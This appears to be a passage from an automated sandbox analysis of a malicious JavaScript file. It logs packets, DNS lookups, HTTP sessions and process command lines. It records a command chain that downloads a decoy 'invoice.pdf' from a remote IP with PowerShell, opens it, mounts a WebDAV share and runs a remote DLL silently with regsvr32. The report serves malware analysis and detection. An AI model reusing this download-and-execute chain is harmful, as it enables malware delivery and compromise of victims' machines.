Jan 13, 2025 09:04:12.197712898 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.197748899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197750092 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.197758913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197772026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197793007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197794914 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.197835922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197840929 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.197863102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197873116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197901011 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.197906017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197936058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197945118 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.197983027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198023081 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.198028088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198048115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198057890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198069096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198086023 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.198113918 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.198127985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198139906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198148966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198200941 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.198234081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198245049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198256016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198266029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198276997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198276997 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.198291063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198318958 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.198354959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198367119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198376894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198388100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198398113 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.198405981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198415995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198429108 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.198463917 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.198501110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198512077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198523045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198533058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198543072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198545933 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.198554993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198568106 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.198590994 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.198631048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198642015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198653936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198662996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198673010 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.198673010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198683977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198695898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198704958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198710918 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.198719025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198726892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198750973 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.198780060 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.198970079 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198980093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198991060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.198999882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.199009895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.199012995 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.199028015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.199037075 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.199039936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.199050903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.199054956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.199095964 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.199141026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.199182987 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.199201107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.199218035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.199239016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.199249029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.199254990 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.199260950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.199270964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.199281931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.199291945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.199291945 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.199302912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.199321985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.199322939 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.199352980 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.199373960 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.239792109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.239804983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.239814043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.239850044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.239867926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.239885092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.239893913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.239901066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.239911079 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.240011930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.240022898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.240029097 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.240032911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.240029097 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.240063906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.240072012 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.240077019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.240078926 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.240091085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.240101099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.240123034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.240159035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.245373964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.245383024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.245393991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.245444059 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.245472908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.245488882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.245500088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.245510101 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.245510101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.245522022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.245537996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.245548010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.245557070 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.245557070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.245563984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.245615959 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.245651007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.245662928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.245675087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.245682955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.245959044 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.287955999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.287992954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.288043022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.288075924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.288109064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.288141012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.288175106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.288175106 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.288208008 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.288208008 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.288211107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.288244963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.288273096 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.288276911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.288310051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.288320065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.288345098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.288377047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.288408995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.288598061 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.288598061 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.313791037 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:13.822211981 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:16.559813976 CET	49738	8888	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:16.564656973 CET	8888	49738	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:16.564745903 CET	49738	8888	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:16.564903975 CET	49738	8888	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:16.569684982 CET	8888	49738	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:17.406388044 CET	8888	49738	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:17.459364891 CET	49738	8888	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:17.477917910 CET	49738	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 09:04:30.474631071 CET	55172	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 09:04:30.474631071 CET	192.168.2.6	1.1.1.1	0xb8a3	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 09:04:30.482611895 CET	1.1.1.1	192.168.2.6	0xb8a3	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 09:04:31.242964983 CET	1.1.1.1	192.168.2.6	0x37d9	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 13, 2025 09:04:31.242964983 CET	1.1.1.1	192.168.2.6	0x37d9	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	193.143.1.205	80	5504	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 09:04:10.668823004 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 13, 2025 09:04:11.484301090 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 08:04:11 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 13, 2025 09:04:11.484319925 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 13, 2025 09:04:11.484641075 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 13, 2025 09:04:11.484658003 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 13, 2025 09:04:11.484673023 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 13, 2025 09:04:11.484765053 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 13, 2025 09:04:11.484780073 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 13, 2025 09:04:11.484793901 CET	1236	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 13, 2025 09:04:11.484807968 CET	1236	IN	Data Raw: a6 84 86 2f 65 ee 47 02 e4 bf 9a 9f 04 08 5f 5c 3f 63 eb 7f 0c c0 fc 30 80 f9 14 08 83 7b f9 d5 2c bf d3 16 ea a1 f5 3f 6e 51 ff b3 1f 85 16 e9 47 44 d3 55 95 d3 f6 42 77 5a 3f 2a be e8 db 9b af b7 01 6c ce aa bd 04 bb 2b 7f 60 68 1b 43 3f 0e 62 Data Ascii: /eG_\?c0{,?nQGDUBwZ?*l+`hC?bC31t_PC={6H=17`\|d%4,hze?{l1@PB%hZ/[/Im4UQCcrW~&TZ.QcaRU_rWP5[t0Wi+3=^
Jan 13, 2025 09:04:11.484822035 CET	1236	IN	Data Raw: 00 00 80 69 f0 c5 12 00 6c 81 bf af fa 33 10 7d 7c 1c 3d 8e d0 9c de 38 7a 68 63 7d 0f cd 1d a8 27 bd 49 02 90 ee 65 a9 84 a6 aa 92 d2 8f ce a0 3f fd f4 d3 8f 3f fe f8 c3 0f 3f fc 33 32 fb fb b3 ff 55 aa 68 1a 14 9d 7d 10 c9 43 e5 1e 6a c8 54 a0 Data Ascii: il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAu
Jan 13, 2025 09:04:11.489228964 CET	996	IN	Data Raw: 9d 1d 73 e7 fd 85 a7 49 9a 1e 9a db 69 19 66 8b b0 59 84 3b 72 d3 c4 a5 c4 d0 d4 80 7c 09 4d 19 f4 6f ad bf f6 d2 7f 4d 55 74 f6 6b a4 87 ca be dc 70 59 ae 4c 84 49 12 4d 19 b4 be 84 ea 91 3d 33 b5 97 fe 4e 61 64 2f 37 a6 5a 58 db 6b 4a e8 e8 3e Data Ascii: sIifY;r\|MoMUtkpYLIM=3Nad/7ZXkJ>U?HX*%;3s{^aZf\\|C\L_DNdAkz;tz+s}PZ]Bk^3\|-a\#i3\|2GsrGKhd@B oZ-n1<0Cz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49738	193.143.1.205	8888	6204	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 09:04:16.564903975 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 13, 2025 09:04:17.406388044 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 08:04:17 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	03:04:06
Start date:	13/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\179861427815317256.js"
Imagebase:	0x7ff639ed0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:04:07
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll
Imagebase:	0x7ff7557f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:04:07
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:04:07
Start date:	13/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:04:14
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:04:15
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7557f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
